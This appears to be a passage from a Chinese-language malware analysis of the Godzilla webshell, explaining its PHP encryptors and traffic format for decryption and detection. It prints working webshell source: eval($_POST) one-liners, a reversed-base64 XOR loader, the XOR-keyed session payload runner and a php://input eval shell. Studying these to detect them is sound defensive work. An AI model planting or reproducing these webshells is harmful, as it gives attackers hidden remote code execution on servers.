$val = $bytes[$position + 3] & 0xff;
$val <<= 8;
$val |= $bytes[$position + 2] & 0xff;
$val <<= 8;
$val |= $bytes[$position + 1] & 0xff;
$val <<= 8;
$val |= $bytes[$position] & 0xff;
return $val;
}
function isGzipStream($bin){
if (strlen($bin)>=2){
$bin=substr($bin,0,2);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
switch ($typeCode) {
case 31139:
return true;
default:
return false;
}
}else{
return false;
}
}
function getBytes($string) {
$bytes = array();
for($i = 0; $i < strlen($string); $i++){
array_push($bytes,ord($string[$i]));
}
return $bytes;
}
run()函数
$parameters=array();
$_SES=array();
function run($pms){
global $ERRMSG;
reDefSystemFunc();
$_SES=&getSession();
@session_start();
$sessioId=md5(session_id());
if (isset($_SESSION[$sessioId])){
$_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId)));
}
@session_write_close();
if (canCallGzipDecode()==1&&@isGzipStream($pms)){
$pms=gzdecode($pms);
}
formatParameter($pms);
if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){
@bypass_open_basedir();
}
if (function_existsEx("set_error_handler")){
@set_error_handler("payloadErrorHandler");
}
if (function_existsEx("set_exception_handler")){
@set_exception_handler("payloadExceptionHandler");
}
$result=@evalFunc();
if ($result==null||$result===false){
$result=$ERRMSG;
}
if ($_SES!==null){
session_start();
$_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId));
@session_write_close();
}
if (canCallGzipEncode()){
$result=gzencode($result,6);
}
return $result;
}
直接看返回的$result加密的过程
$result=@evalFunc(); //evalFunc()函数执行传入的方法名和参数，结果存储在$result
if ($result==null||$result===false){
$result=$ERRMSG;
}
if ($_SES!==null){
session_start();
$_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId)); //S1MiwYYr()函数就是webshell里的encode()函数
@session_write_close();
}
//下面还会对返回的内容进行zlib压缩，解密时需要特别注意
if (canCallGzipEncode()){
$result=gzencode($result,6);
}
return $result;
evalFunc()函数
function evalFunc(){
@session_write_close();
$className=get("codeName"); //http请求传入的函数参数
$methodName=get("methodName"); //http请求传入的函数名
$_SES=&getSession();
if ($methodName!=null){
if (strlen(trim($className))>0){
if ($methodName=="includeCode"){
return includeCode();
}else{
if (isset($_SES[$className])){
return eval($_SES[$className]);
}else{
return "{$className} no load";
}
}
}else{
if (function_exists($methodName)){
return $methodName();
}else{
return "function {$methodName} not exist";
}
}
}else{
return "methodName Is Null";
}
}
逻辑很清晰，但是重定义的执行系统命令函数居多，分析的时候注意参考
PHP_EVAL_XOR_BASE64加密器
这种加密器的webshell就是经典的PHP一句话木马
<?php
eval($_POST["pass"]);
接下来的http报文中会有两个参数，一个pass（），一个key参数
pass=eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));&key=DlMRWA1cL1gOVDc2MjRhRwZFEQ==
pass参数的内容就是PHP_XOR_BASE64加密器的生成的webshell，不同的是key参数的值变成了命令执行的调用函数名
pass参数的内容按照上面的解密后如下
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
接下来的就和PHP_XOR_BASE64加密器的过程相同了，区别的是这种加密器的http请求包比前者长，因为每次请求都会带上上述pass参数的webshell
PHP_XOR_RAW加密器
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
关键代码：
$data=file_get_contents("php://input");
经典的php伪协议 php://input
可以访问请求的原始数据的只读流，在POST请求中访问POST的data部分，在enctype="multipart/form-data" 的时候php://input 是无效的。
说白了就是把post请求正文的内容按照php代码执行，这点说起来和eval()函数的功能很像
暂完
硬说特征，哥斯拉不论是php还是java，默认返回包里，开头和末尾16位的数字算个应该算个强特征，当然这在webshell里可以直接修改，对高级点儿的没啥用